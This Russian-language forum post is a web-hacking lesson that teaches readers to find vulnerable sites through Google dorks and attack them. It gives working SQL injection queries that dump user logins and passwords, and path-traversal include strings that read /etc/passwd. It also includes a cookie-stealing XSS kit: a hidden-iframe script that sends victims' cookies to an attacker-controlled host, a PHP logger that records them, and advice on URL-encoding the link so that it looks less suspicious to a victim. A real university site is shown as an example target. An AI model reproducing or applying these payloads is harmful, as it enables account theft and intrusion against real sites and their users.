0men0 0 Опубликовано 7 сентября, 2017 Вступление.Здравствуйте уважаемые читатели. Мы продолжаем значиться азами веб хакинга. Это 3 урок и вот какие темы мы сегодня разберем:Сплоиты структура и использование Google hacking Более подробное изучение таких уязвимостей как: -sql injection -xss -php include Сплоиты.Или эксплоиты. Это программы или скрипты которые автоматически реализуют какую либо уязвимость. Мы будем знакомиться с эксплоитами для веб приложений.Кроме них существуют эксплоиты для прикладных программ. Они более сложные и тебе пока рановато их изучать.Итак, возьмем инъекцию из прошлого урока http://www.site.us/main.php?id=18646644+union+select+1,2,3,name,password,6,7+from+user/*<br><br>Представим, что эта уязвимость была обнаружена в какой то СMS с названием CoolCMSЧто бы каждому кто хочет взломать этот движок не нужно было раскручивать sql injection самому, мы напишем эксплоит, который будет реализовывать уязвимость и выдавать только логин и пароль администратора.Приводить текст эксплоита я не буду а только разберем суть алгоритма: Сначала нужно сделать обратиться к сайту с составленным запросом для вывода логина и пароля.<br> Далее нам вернется страничка с аккаунтом<br> Теперь нужно пропарсить страницу и найти логин пароль.<br><br>Все. Ну кончено это самый примитивный пример. Но надеюсь ты понял зачем нужны эксплоиты. Алгоритм эксплоита привиденного выше можно реализовать практически на любом языке программирования. Но обычно эксплоиты для веб приложений пишутся на PHP или PerlДавайте теперь разберем классический сценарий:Твоя цель взломать какой то сайт. Зайдя на него ты видишь в подвале такую надпись:Power by PHP-nuke 8.0Это значит сайт работает на движке найков.Теперь нужно попробовать найти паблик эксплоиты под эту версию.Можно пойти на багтрак, но я предпочитаю пользоваться поисковиком:PHP-nuke 8.0 exploit После непродолжительного парсинга ссылок мы находим сплоит:<br> http://milw0rm.com/exploits/3346<br>Видим надпись#!/usr/bin/perlЭто значит эксплоит написан на perl.Далее видим это:#0day exploit for PHP-nuke <=8.0 Final0day значит эксплоит нулевого дня. Т.е. под него еще не выпущено заплаток под эту версию.Итак, сполит на перл. Если у тебя стоит linux то запустить его можно командой Perl exploit.plС windows посложнее. Тут придется поставить интерпретатор для языка. Но не бойся это не сложно. Скачать его можно здесь После установки можно так же воспользоваться командой perl в консоли. Perl exploit.plДалее программа покажет необходимые аргументы для этого эксплоита.В большинстве случаев понадобится только адрес сайта.Таксс, раз разговор зашел про запуск давайте разберем как использовать php эксплоиты. Вообще желательно поставить php+apache+mysql. Т.к. это пригодится нам в будущем для тестирования движков. Apache — это серверmysql — это база данных.Мануал по установке можно найти здесь.После этого достаточно скопировать php сплоит в папку www и запустить из браузера. localhost/exploit.phpЛибо в командной строке набрать php путь до сплоитаВ следующем уроке разберем исходник настоящего эксплоита.Google hacking.Поиск бажных сайтовВозьмем опять же уязвимость PHP-nuke 8.0. Давайте с помощью поисковика найден сайты которые построенные на основе этого движка. К этим сайтам можно применить наш сплоит. Запрос в google будет примерно таким: Site: PHP-nuke 8.0Поисковик выдаст нам список сайтов, на которых присутствует строка: PHP-nuke 8.0. В большинстве случаев это буду сайты которые нам нужны.Потом открываем любой сайт и применяем сплоит.Надеюсь понятно, что можно искать любые бажные движки. Можно просто зайти на любой багтрак и быбрать уязвимый двиг, под который есть сплоит. И далее с помощью гугла найти сайты с этим движком.В прошлом уроке я показывал как искать ресурсы с возможным php include bug: inurl: page=inurl ищет указанную строку в адресе сайтаМожно сделать такой запрос: inurl:id=1и гугл выдаст ссылки, в которых присутствует строка id=1. Некоторые из них возможно уязвимы к sql injection. А если сделать так: inurl:page= and .usТо гугл найдет все сайты с которые находятся в зоне .us(американские)Кстати, еще можно указать тип документа:filetype:aspГугл выдаст нам найденные asp сценарии. Поиск админкиТеперь давайте разберем как гугл может помочь нам при атаке на конкретный сайт.Во первых поиск административной панели aka админки. Бывают случаи, когда например с помощью sql injection удалось вытянуть аккаунт администратора, но найти админку не удается. Вот стандартные пути: www.site.us/admin<br> www.site.us/administrator<br> www.site.us/admin.phpНо бывает, что у админов есть немного мозгов. И они прячут админ панель в недры дирикторый сайта. Что бы найти их нам опять же поможет гугл Site: www.site.us adminИли Site: www.site.us admin.phpНу и тому подобные запросы.А вот такой запрос найдет все текстовые файлы сайта Site: www.site.us filetype:txtМожно попробовать поискать интересные файлы, что то вроде: Site: www.site.us filetype:txt password.Продолжаем знакомится с xss php include sql injectionXssИтак, на прошлом уроке мы научились искать xss, сейчас я покажу из за чего проиходит ошибка и каким образом можно украсть и подменить файлы cookies.Рассмотрим небольшой сценарий:[form name="form" action="questbook.php" method="GET"]<br>[input type=text name="text"]<br><br>[input type=submit name="submit" value="Send"]<br>[?php<br>$message=$_GET[text];Echo $message; ?]Сначала в переменную $message считывается значение text из массива GET. Далее мы просто выводим надпись. Что касается формы, то в ней расположены текстовое поле (text) и кнопка для отправки сообщения.Так вот. Входящяя информация Никак не фильтруется, т.е. пользователь может ввести любые символы в текстовое поле.А если ввести скрипт, то он сответстенно выполнится.Фактически это и есть причина xss.Так теперь даавйте попробуем украсть Куки.У нас есть xss такого вида. www.site.us/questbook.php?text=[script]alert(xss)[/script]Итак, давайте введем такой скрипт (можешь использовать xss с прошлого урока):<br> www.site.us/questbook.php?text=[script]alert(document.cookie)[/script]Такой скрипт выдаст нам наши Куки. Но нам нужны Куки юзера(админа), причем Куки эти нужно записать в лог файл.Дело в том, что читать Куки от данного сайта, может только сам данный сайт. Поэтому поступаем так:Регестрируемся на бесплатном хостинге с поддержкой php (в конце приведу список), далее создаем файл Snif.js таким содержанием: Snif.js document.write('[iframe width=1 height=1 style=position: absolute; visibility: hidden;" <br>src="'+'http://хост/write.php'+'?host='+location.host+'&cook='+document.cookie+'][/iframe]');Этот код открывает невидимый фрейм, в котором загружается файл 'http://хост/write. (ему передаются в переменных host и cook хост и COOKIES человека, который открыл страницу).Так как этот фрейм будет являться частью самой зараженной странички, он будет иметь доступ к COOKIESам этого сайта.Далее в сценарии write.php мы просто запишем файлы Кук: Write.php<br>[?<br>$file = fopen("cookies.txt","a");<br>fputs($file,"[".date("d.m.y H:i").]: host=".$_GET[host].", COOKIES=.$_GET[cook].rn");<br>fclose($file);<br> ?]<br><br>Такс у нас есть файл с javascript кодом который ворует Куки, у нас есть файл которые эти Куки сохраняет. А скрипт в xss будет такой: www.site.us/questbook.php?text=[script src=http://хост/snif.js][/script]Все, осталось только дать ссылку жертве.Напоследок вот еще что выше привиденный адрес довольно подозрительный. Его лучше закодировать в шестнадцатеричный код. Это можно сделать <href=http://x3k.ru/>здесь. В разделе En/De Coder нужно выбрать Url Encode.PHP includeОпять же наипростейший пример:[?php<br>$f=$_GET[file];<br>if(file_exists($f)) <br>Include(file);<br> ?]Как видишь функция include подгружает указанный файл. Проме include существует почти аналогичная функция require.Так вот. Данные берутся из get массива. Т.е. мы легко из можем подделать:x3k.ru/ www.site.us/include.php?file=/etc/passwdx3k.ru/Это пример из прошлого урока. Теперь разберем еще один кусок кода:[?php<br>$f=$_GET[file];<br>$f2=fopen($f.txt,r));<br> ?]<br>Тут уже используется функция fopen, которая также уявзима.В коде мы к имени файла прибавляем расширение .txt т.е. когда мы будет пытаться читать локальные файлы это будет выглядеть так:<br>/etc/passwd.txtЕстественно ничего мы прочитать не сможем. Выход использовать NULL байт.%00 нуль байт. После его вставки часть строки обрубается.Смотри:<br><br>/etc/passwd%00.txtВ итоге будет:<br><br>/etc/passwdА вот на примере:<br><br> www.site.us/include.php?file=/etc/passwd%00Бывает что и это не помогает прочитать файлы. Иногда нужно подняться на несколько дирикторий выше что бы появилась возможность посмотреть файл. Смотрим на примере: www.site.us/include.php?file=../../../../../../../../../../../../../etc/passwd%00Итак во первых для просмотра файла /etc/passwd нужно перейти в корневую дирикторию и далее зайти в папку /etc. Тоeсть сначала мы добираемся до корня. Это делается с помощью двух точек и слеша. Дело в том что в unix системах… означает каталог выше. Т.к. расположение файла неизвестно и надежнее будет поставить побольше знаков «../»Всегда обращай внимание на ошибки которые появляются после вставки какого либо запроса.Вот смоти: Php include bug <br> http://www.wkar.msu.edu/sportstalk/page.php?StaffID=37&fill=[hacked]Смотрим на ошибку: Warning: include(content/[hacked].php) [function.include]: failed to open stream: No such file or directory in /home/httpd/htdocs/sportstalk/page.php on line 23Как видишь используется функция include() к имени прибавляется расширение .php, значит нужен NULL byte, к томуже мы узнали расположение текущего сценария (/home/httpd/htdocs/sportstalk/page.php).SQL injectionНа прошлом уроке я обещал подробнее рассказать про уязвимость SQL injection, этим мы сейчас и займемся.Во первых разберем небольшую иерархию. База данных<br> Таблица<br> Столбец<br> Поле<br>На примере это выглядит так:База данных onlineshopТаблица onlineshop.users-----------------------| Login password |------------------------Stas 123456Misha 123456Maxim 123456Roma 123456------------------------Что сдесь что?:Login password это столбцы. Имена пользователей и пароли это поля. Вот собственно и все. А вот так составляется запрос в php:<br>..<br>$q=SELECT * FROM USERS where login=$login password=$pass<br>..<br>Во первых SELECT выбирает данные из таблицыWhere задает условие, т.е. в нашем случае нам нужно выбрать данные с определнные логином и паролем.Вот собственно и ошибка. Если подставить $login или $pass не фильтруются, то появляется возможность выполнять SQL команды.Теперь конкретно как мы это делаем:Допустим где то на сайте нашли ниъекцию:<br><br> www.site.us/sql?id=1Далее мы подобрали что столбцов 6:Активные 3,4<br> www.site.us/sql? id=1+union+select+1,2,login,password,5,6+from+onlineshop.users /*Это покажет нам аккаунт первого пользователя. Как правило таковым является администратор. Если нужно выбрать конкретного пользователя поступаем там:<br> www.site.us/sql?login=1+union+select+1,2,login,password,5,6+from+onlineshop.users+limit 1,2 /*Так выбираем 2 пользователя.Замечу что знак пробела мы заменяем символом +. А знак /* означает комментарий. Значит после этого знак весь ненужным запрос будет обрезан.И еще допустим с помощью order by мы подобрали кол во столбцов. Делаем так: www.site.us/sql?id=1+union+select+1,2,3,4,5,6/*По идее мы должны увидить читабельные столбцы, но бывает, что вывода не проиходит.Тогда нужно поступать так: www.site.us/sql?id=-1+union+select+1,2,3,4,5,6/*Послесловие:Ну вот. Советую получше изучить mysql и php, а также как они взаимодействуют друг с другом. На следущем уроке мы будет разбирать реальный сплоит. Также я расскажу про ReversIP. Покажу несколько инструментов, которые пригодятся при взломе. Так же мы будет продолжать знакомится с уязвимостями.Я расскажу что такое обход фильтрации в xss В разделе про PHP include мы будем разбирать как читать ииспользовать в своих целях логии apache. Еще мы конечно же будет подробнее изучать скуль инъекции. Покажу опять же обход фильтрации и особенности 5 ветки mysqlPs в комментариях прошу не флудить. Лучше задавайте вопросы по статье.Несколько бесплтных хостингов с поддержкой php www.yard.ru<br> www.holm.ru/?p=34880<br> www.hostland.su/<br> www.hut.ru/<br> Поделиться сообщением Ссылка на сообщение Поделиться на другие сайты